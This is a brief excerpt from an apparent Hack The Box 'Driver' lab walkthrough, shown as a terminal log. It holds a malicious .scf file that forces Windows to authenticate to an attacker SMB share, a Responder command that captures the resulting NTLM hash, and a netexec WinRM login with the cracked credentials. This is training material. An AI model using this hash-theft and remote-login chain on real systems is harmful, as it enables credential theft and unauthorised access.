Failed to upload many other file types... This should work
adot@pwndot:~/htb/driver$ cat @firmware.scf
[Shell]
Command=2
IconFile=\\10.10.14.18\share\pwned.ico
[Taskbar]
Command=ToggleDesktop
adot@pwndot:~/htb/driver$ sudo responder -wF -I tun0
adot@pwndot:~/htb/driver$ netexec winrm 10.10.11.106 -u 'tony' -p 'liltony'
WINRM 10.10.11.106 5985 DRIVER [*] Windows 10 Build 10240 (name:DRIVER) (domain:DRIVER)
WINRM 10.10.11.106 5985 DRIVER [+] DRIVER\tony:liltony (Pwn3d!)